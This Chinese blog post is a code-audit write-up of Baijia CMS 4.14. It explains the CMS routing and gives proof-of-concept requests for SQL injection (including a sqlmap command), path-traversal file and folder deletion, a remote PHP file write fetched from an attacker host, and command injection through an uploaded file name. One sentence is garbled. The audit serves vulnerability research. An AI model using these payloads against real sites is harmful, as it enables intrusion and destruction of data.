失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > [php-代码审计]百家cms4.14

[php-代码审计]百家cms4.14

时间:2021-04-12 10:35:45

相关推荐

[php-代码审计]百家cms4.14

[php-代码审计]通读百家cms4.14

cms目录结构先看是否存在install重装漏洞看一下index.php正常流程article模块,存在sql注入util模块存在前台任意文件删除manager模块任意文件夹删除public模块远程文件写入weixin模块命令执行

cms目录结构

addons----插件文件夹

api ---- 接口文件夹

assets—资源文件夹(前端资源,不太重要)

attachment----附件(上传文件存储的文件夹)

cache----缓存文件夹

config----网站配置文件夹

includes----cms结构框架

system----核心文件夹(后端文件)

先看是否存在install重装漏洞

虽然这个漏洞很难遇到了,但还是可以看一波的,毕竟以前挖src时还遇到过一次,最后竟然只给了中危,当黑奴了

代码很简单,写死判断是否存在/config/install.link文件,存在则跳到index.php,然后exit,直接不存在漏洞,无

看一下index.php正常流程

第一段就是判断是否安装过,直接略过

下面就是判断是否定义了systen_act,并且是否为mobile,否则定义$mod=mobile

下面都是判断是否传递了参数,设置参数默认值等

最后则是使用了ob_start,包含includes/baijiacms.php文件

知识点:

defined()是判断是否定义了常量,define是定义常量,一旦定义编不可更改,全局使用

or 如果or 前的判断为真则不执行or后面的判断

ob_start()是打开缓冲区

当ob_start()参数为system时,可执行rce,栗子:ob_start(“system”);echo “whoami”;ob_end_flush();

includes/baijiacms.php文件

开头就是判断是否定义了system_act或lock_to_install。否则停止运行打印access denied

作用就是不能直接访问该文件

定义的就不说了

这里获取网站路径(不带参)并赋值给$document_root,替换$document_root中的’//‘为’/',并判断最后一个字符是否为‘/’,不是的话添加一个‘/’

当访问url为:/aaa/bbb/test.php?a=111时,此时$document_root为/aaa/bbb/test.php/

第51行判断是否开启了magic_quotes_gpc 或者magic_quotes_sybase

知识点:

magic-quotes_gpc(魔术引号,对外部输入的特殊字符均会添反斜杠),magic_quotes_sybase仅会对%0a转义成\0,其余不变,当两者同时开启时,单引号会转义成两个单引号( ’ => ‘’ ),%0a变成\0;双引号和反斜杠不变

再往下看,发现这样一段代码,判断是否magic_quotes_gpc(就是上面的值),开启的话,非数组的参数则去掉通过 由addslashes() 函数添加的反斜杠,实际效果是:不是通过addslashes() 函数添加的反斜杠也会删除,双反斜杠则可以保留一个(必须是连续的)

这里则是html实例化

往下看,可由参数名知m、act参数控制的是模块,同时do、m、act三个参数不能同时为空

下面则是又包含了一堆文件

mysql.lnc.php是数据库账号密码

common.inc.php、setting.inc.php、init.inc.php、user.inc.php、auth.inc.php、weixin.php则是定义了一些函数和网站信息

直接略过

extends.inc.php

mod参数是控制器

通过http头:HTTP_X_REQUESTED_WITH是否等于xmlhttprequest来判断是否为ajax请求

runner.inc.php是控制路由的文件,需要好好看看,mvc中一定要先找路由

第一个if是判断是否是eshop模块,CMS[′beid′]也是传递的参数,传递到_CMS['beid']也是传递的参数,传递到C​MS[′beid′]也是传递的参数,传递到_CMS的,我们主要还是找通用的路由,继续往下看

判断要访问的是不是插件,这里可以明显看到主要路由文件就是/system/common/monile.php,和各个模块下的mobile.php文件,($modulename是通过url传递的参数值)

可以看到当没有传递isaddon时,do参数控制的是类中方法,方法名为:do_$GP[‘do’]

看一下 /system/common/monile.php 发现里面主要判断是否登录了,并获取登录用户的信息

接下来看各个模块下的mobile.php文件,这里文件应该都是通用的,随便找一个看看

可以看到,这里根据方法名又去调用system/common/mobile.php文件中的_mobile2()方法,(FUNCTION是获取本身方法名,既function do_index(){}时,FUNCTION等于 do_index)

可以看到 有去包含各个模块下的/class/mobile/{去掉"do"调用的方法名}.php文件

插件路由也是差不多的,就不说了

路由总结:

因为有:defined(‘SYSTEM_IN’) or exit(‘Access Denied’);

这些控制器文件不能直接访问,需要通过index.php文件调用

index.php?mod=mobile&m=public&do=index&beid=1&isaddons=1 beid是店铺id isaddons判断是否是插件,可选 mod判断模块类型,默认为mobile,m为模块名,do为控制器

当mod=mobile时,控制器文件在system/模块名/class/mobile/下

当mod != mobile时,控制器文件在system/模块名/class/web/下

当isaddons有传值时,控制器文件在/addons/模块名/class/mobile || web/下

其实看一看网站的URL,相应的路由也能猜出来

article模块,存在sql注入

发现article/class/wb/article.php这里存在直接将keyword参数拼接到sql语句中,没有绑定参数

$select_title = (empty($_GPC['keyword']) ? '' : ' and a.article_title LIKE \'%' . $_GPC['keyword'] . '%\' ');$page = (empty($_GPC['page']) ? '' : $_GPC['page']);$pindex = max(1, intval($page));$psize = 20;$articles = pdo_fetchall('SELECT a.id,a.displayorder,a.article_readnum_v,a.article_likenum_v,a.article_date_v, a.article_title,a.article_category,a.article_date,a.article_readnum,a.article_likenum,a.article_state,c.category_name FROM ' . tablename('eshop_article') . ' a left join ' . tablename('eshop_article_category') . ' c on c.id=a.article_category WHERE a.uniacid= :uniacid ' . $select_title . $select_category . ' order by displayorder desc,article_date desc LIMIT ' . (($pindex - 1) * $psize) . ',' . $psize, array(':uniacid' => $_W['uniacid']));

心想这很明显不注入吗,这个参数没有进行预处理

直接%’ or 1=1#不行

发现是这个的问题,这里他对('、“、<、>、&)这五个符号进行转义

先将过滤语句注释,看看是否存在漏洞(好吧,其实是我不会绕,char(39)也闭合不掉)

直接sqlmap一把梭,sqlmap命令为:python sqlmap.py -u “http://ip/index.php?mod=site&do=article&act=article&op=display&token=&keyword=” -p keyword --cookie=”",因为这里是后台注入,所以需要cookies,sqlmap会询问语句可能错误,直接y就行了

存在漏洞,又在eshop前台找到一处无引号sql注入

http://ip/index.php?m=eshop&do=shop&mod=mobile&act=cart&op=tofavorite&ids[]=1,2),要post方式,ids是数组参数,添加heart请求头:x-requested-with: xmlhttprequest,即可前台sql 注入,只要直接拼接都存在sql注入,后面不在找sql注入了

util模块存在前台任意文件删除

该模块是前台文件上传后文件删除的,很遗憾,文件上传使用了白名单,除非有解析漏洞或者00截断否者利用不了

这里发现直接获取传递过来的$file的值,直接调用file_delete函数

跟进,发现这里有进行一个全局配置检查,通过执行这个脚本,发现默认是直接进入else语句的,很明显,这里存在任意文件删除,只要调用这个函数都存在任意文件删除,这里是前台,还有个后台也调用了这个函数

这里删除的文件位置是:/attachment/下,在根目录下创建test.txt文件,访问http://49.235.112.221:8081/index.php?m=eshop&do=util&mod=mobile&act=uploader&op=remove&file=/…/test.txt,发现test.txt已被删除

manager模块任意文件夹删除

访问

http://ip/index.php

?m=manager&do=database&mod=site&op=delete&id=Ly4uLy4uL3Rlc3Qv

;id是base64编码的

public模块远程文件写入

文件位于:system/public/class/web/file.php,获取url参数传递过来的值

文件后缀为url文件的后缀,所以这里文件必须是php文件,文件内容通过file_get_contents获取

url为:http://ip/index.php?mod=site&act=public&do=file&op=fetch&url=http://ip/b.php

http://ip/b.php文件内容为:

<?php echo '<?php phpinfo();?>' ?>

上传成功:

weixin模块命令执行

需要将图片压缩开启,因为有判断是否开启,不开启则进入不到存在漏洞的函数

当上传文件类型为txt时进入执行存在漏洞的函数

可以看之,直接将文件名拼接到了system()的参数中了,如果文件名有闭合可执行的命令时可造成rce

上传文件名称为:&ping aaaa.7df78136.dns..&.txt

成功在dnslog上执行命令成功,记得别禁用system函数

如果觉得《[php-代码审计]百家cms4.14》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。